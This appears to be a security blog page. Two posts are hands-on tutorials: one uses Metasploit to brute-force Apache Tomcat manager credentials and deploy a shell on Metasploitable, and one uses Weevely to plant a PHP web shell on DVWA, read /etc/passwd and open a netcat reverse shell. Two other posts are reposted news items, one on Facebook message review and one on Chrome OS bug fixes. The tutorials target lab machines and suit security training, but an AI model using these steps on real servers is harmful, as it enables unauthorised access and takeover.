Exploit Apache Tomcat

Hello Friends,

Today i am showing you how to exploit apache tomcat machine.

Basic setup we require is

1.VMWare Workstation

2.Metasploitable

3.Kali Linux or Backtrack 5R3

Steps

Start Metasploitable and Kali Linux in VMWare Workstation and see their IP S

Scan Metasploitable IP In Kali Linux using NMAP tool

nmap -sV 192.168.230.133 (Metasploitable IP)

then we will get all services running and versions of service on the target machine 

we finded that "Apache Tomcat" is running on the port number 8180

Now search for related exploit

In kali linux start metasploit and type "search tomcat"

msf >search tomcat

In this select for best exploit

Here " exploit/multi/http/tomcat_mgr_deploy " is excellent

so go with that only , but before going for exploit know about that exploit

To know information about exploit

msf > info exploit/multi/http/tomcat_mgr_deploy

for this exploit to run we require USERNAME and PASSWORD of tomcat server that we do not having

so next once again come to msf

msf > search tomcat

here you having one auxillary that may help in getting USERNAME and PASSWORD

msf > info auxiliary/scanner/http/tomcat_mgr_login

msf > use auxiliary/scanner/http/tomcat_mgr_login

and set RHOST,RPORT and type run (not exploit , we are running auxiliary not the exploit)

 Now you will get the USERNAME and PASSWORD of tomcat

we got the username = tomcat and password = tomcat

After getting username and password use exploit

Now set all options like RHOST etc

Now type EXPLOIT

The box has been exploited

Thank You

Read More

How Strangers Can Read Your Private Facebook Messages

Here's something you probably didn't know: Facebook has a team of employees who read your private messages if they have been flagged by an automated tool. The tool searches for content that appears to violate their terms of service, namely malicious (infected) URLs or child pornography. It's imperfect, of course — that's where humans come in.

If a private message is flagged, actual people will jump in and read it. If there is something that could be illegal — particularly regarding child exploitation — those people contact law enforcement. The intent here is clear and defensible, yet the fact remains: All that stands between your "private" messages and the eyes of a stranger is the snap judgment of an algorithm.

"There are strong internal controls around the use of these tools to prevent misuse and abuse," Facebook told BuzzFeed, "and stringent guidelines for the way we cooperate with law enforcement."

It's not just Facebook. Dating site OkCupid has humans read private messages that have been flagged by its users.Twitter doesn't monitor direct messages either through automated tools or humans.

(Taken from BuzzFeed)

Read More

Creating Web Backdoor using Backtrack(Weevely Tutorial)

Weevely PHP stealth web shell and backdoor is a PHP web shell that provides a telnet-like console to execute system commands and automatize administration and post-exploitation tasks. It is an essential tool for web application post exploitation, and also can be used as stealth backdoor

Weevely is by defaultly available in OS like Backtrack, Backbox etc.

Weevely php stealth web shell and backdoor has more than 30 modules available for post exploitation tasks.

weevely is written in python.

Lets Start our Practical

Requirement:

1.Webserver for uploading the backdoor ( i installed dvwa on linux box)

2.Weevely PHP Shell(i.e, available in backtrack 5R3)

Steps to start

1.weevely is available in /pentest/backdoors/web/weevely/

Open terminal and type cd /pentest/backdoors/web/weevely/

2.Generate PHP stealth backdoor

./weevely.py generate security

When we execute this command a new file will be created called weevely.php

3.After generatig file the next step will be upload weevely.php file to webserver and we are uploading it to webserver.

I am using DVWA(Damn Vulnerable Web Application) for testing purpose

4.Now file has been successfully uploaded

5.Now access that weevely .php from terminal

./weevely.py

./weevely.py http://192.168.142.135/dvwa/hackable/uploads/weevely.php security

Now we are in server

6.If we want to see files in that directory type ls

7.if we want to see passwords cat /etc/passwd

8.if we want to see who we are

whoami

9.using weevely for backdoor

here i am opening one more terminal and i am starting netcat

nc -lvp 1234

and in weevely terminal

:backdoor.reverse_tcp 192.168.142.132 1234

now we are connected

now you can access all server files.

thank you.

Read More

Google Fixes Three High-Risk Flaws in Chrome OS

Google has fixed a series of serious vulnerabilities in its Chrome OS, including three high-risk bugs that could be used for code execution on vulnerable machines. As part of its reward program, Google paid out more than $30,000 to a researcher who found three of the vulnerabilities.

All of the vulnerabilities that Google fixed in Chrome OS are in the O3D plugin, an API that enables developers to create 3D applications for the Web. Three of the vulnerabilities are high-risk and the other flaw is rated a medium severity bug.

Here are the vulnerabilities that Google fixed in Chrome OS 26:

[227197] Medium CVE-2013-2832: Uninitialized memory left in buffer in O3D plug-in.Credit to Ralf-Philipp Weinmann.

[227181] High CVE-2013-2833: Use-after-free in O3D plug-in. Credit to Ralf-Philipp Weinmann.

[227158] High CVE-2013-2834: Origin lock bypass of O3D and Google Talk plug-ins. Credit to Ralf-Philipp Weinmann.

[196456] High CVE-2013-2835: Origin lock bypass of O3D and Google Talk plug-ins. Credit to Google Chrome Security Team (Chris Evans).

Ralf-Philipp Weinmann, the researcher who discovered three of the flaws, received $31,336 in bug bounties for his work. That's at the highest end of the rewards that Google pays out in its Chromium reward program. Most of the rewards are in the $1,000-$3,000 range, with some going above that, depending upon the severity of the vulnerability and difficulty of exploitation.

"We’re pleased to reward Ralf-Philipp Weinmann $31,336 under the Chromium Vulnerability Rewards Program for a chain of three bugs, including demo exploit code and very detailed write-up. We are grateful to Ralf for his work to help keep our users safe," Ben Henry of the Chrome team said in a blog post.

(Taken from Threat Post)

Read More